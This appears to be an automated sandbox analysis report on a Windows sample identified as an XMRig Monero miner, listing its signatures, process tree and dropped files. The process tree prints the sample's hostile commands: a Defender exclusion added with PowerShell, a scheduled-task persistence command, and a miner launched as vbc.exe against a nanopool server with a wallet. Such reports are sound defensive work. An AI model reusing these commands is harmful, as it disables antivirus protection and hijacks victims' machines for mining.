Analysis

  • max time kernel
    138s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/11/2022, 17:27

General

  • Target
    ad9adce65bee18c9575cf321e7d3b435.exe
  • Size 1.8MB
  • Sample221105-v1emxabbam
  • SHA256 2cb5f7af0042942561bba8bdfbecf4fea3d8f7fd4e877a9ec0b84c22cf2c7b22
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad9adce65bee18c9575cf321e7d3b435.exe
    "C:\Users\Admin\AppData\Local\Temp\ad9adce65bee18c9575cf321e7d3b435.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3632
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA1E2.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2080
      • C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3724
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:356
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3292
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:4276
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:396
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3724 -s 3752
          4⤵
          • Program crash
          PID:5084
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 420 -p 3724 -ip 3724
    1⤵
      PID:4416

    Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          AVPTQBAEW.exe

          • Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
          • Size 1.8MB
          • SHA256 2cb5f7af0042942561bba8bdfbecf4fea3d8f7fd4e877a9ec0b84c22cf2c7b22
          • MD5 SHA1 SHA512 SSDEEP

          AVPTQBAEW.exe

          • Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
          • Size 1.8MB
          • SHA256 2cb5f7af0042942561bba8bdfbecf4fea3d8f7fd4e877a9ec0b84c22cf2c7b22
          • MD5 SHA1 SHA512 SSDEEP

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
          • MD5 SHA1 SHA512

          tmpA1E2.tmp.bat

          • Path C:\Users\Admin\AppData\Local\Temp\tmpA1E2.tmp.bat
          • Size 149B
          • SHA256 15dcb396d4dcbd00ba1c2d687c12e04f90edbb3e75a9d2ff331668a56eaf5e04
          • MD5 SHA1 SHA512

          memory/356-151-0x00007FFBFE7D0000-0x00007FFBFF291000-memory.dmp

          memory/396-156-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/396-165-0x0000022219450000-0x0000022219470000-memory.dmp

          memory/396-164-0x0000022219470000-0x0000022219490000-memory.dmp

          memory/396-163-0x0000022219450000-0x0000022219470000-memory.dmp

          memory/396-162-0x0000022219470000-0x0000022219490000-memory.dmp

          memory/396-161-0x00000221853E0000-0x0000022185420000-memory.dmp

          memory/396-160-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/396-158-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/396-157-0x0000022185380000-0x00000221853A0000-memory.dmp

          memory/396-155-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/396-153-0x0000000140000000-0x00000001407C9000-memory.dmp

          memory/1368-136-0x00007FFBFE880000-0x00007FFBFF341000-memory.dmp

          memory/1368-133-0x00007FFBFE880000-0x00007FFBFF341000-memory.dmp

          memory/1368-132-0x00000000000B0000-0x000000000027C000-memory.dmp

          memory/3632-140-0x00007FFBFE880000-0x00007FFBFF341000-memory.dmp

          memory/3632-141-0x00007FFBFE880000-0x00007FFBFF341000-memory.dmp

          memory/3632-137-0x000001694E600000-0x000001694E622000-memory.dmp

          memory/3724-145-0x00007FFBFE7D0000-0x00007FFBFF291000-memory.dmp

          memory/3724-152-0x00007FFBFE7D0000-0x00007FFBFF291000-memory.dmp

          memory/3724-159-0x00007FFBFE7D0000-0x00007FFBFF291000-memory.dmp